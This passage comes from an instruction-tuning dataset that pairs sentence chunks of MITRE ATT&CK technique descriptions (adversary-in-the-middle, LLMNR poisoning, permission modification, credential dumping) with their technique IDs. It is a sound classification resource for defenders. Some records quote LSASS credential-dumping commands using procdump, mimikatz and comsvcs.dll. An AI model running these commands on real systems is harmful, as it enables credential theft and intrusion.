Access](https://attack.mitre.org/techniques/T1212)). ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498). ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may be used to collect or relay authentication materials.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may be used to collect or relay authentication materials. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NBT-NS identifies systems on a local network by their NetBIOS name.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NBT-NS identifies systems on a local network by their NetBIOS name. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS) ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation:", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub NBNSpoof)(Citation: Rapid7", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub NBNSpoof)(Citation: Rapid7 ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "LLMNR Spoofer)(Citation: GitHub Responder)", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: LLMNR Spoofer)(Citation: GitHub Responder) ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions.", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group.", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs:", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode). ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it.", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They could subsequently lock others out of the file.", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They could subsequently lock others out of the file. ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques)", "output": "T1222.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ### Response: T1222.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions.", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018)", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object.", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order.", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If a matching entry is found, access to the object is granted.", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a matching entry is found, access to the object is granted. ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018) ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders.", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs.", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", "output": "T1222.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). ### Response: T1222.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions.", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions.", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may enable malicious activity such as modifying, replacing, or deleting specific files or directories.", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008),", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574). ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also change permissions of symbolic links.", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also change permissions of symbolic links. ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior)", "output": "T1222", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior) ### Response: T1222."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional custom tools likely exist as well.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional custom tools likely exist as well. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550). ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, on the target host use procdump:\n\n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocally, mimikatz can be run using:\n\n* <code>sekurlsa::Minidump lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\nBuilt-in Windows tools such as comsvcs.dll can also be used:", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, on the target host use procdump:\n\n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocally, mimikatz can be run using:\n\n* <code>sekurlsa::Minidump lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\nBuilt-in Windows tools such as comsvcs.dll can also be used: ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* <code>rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID  lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation:", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * <code>rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID  lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Symantec Attacks Against Government Sector)\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start.", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Symantec Attacks Against Government Sector)\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in 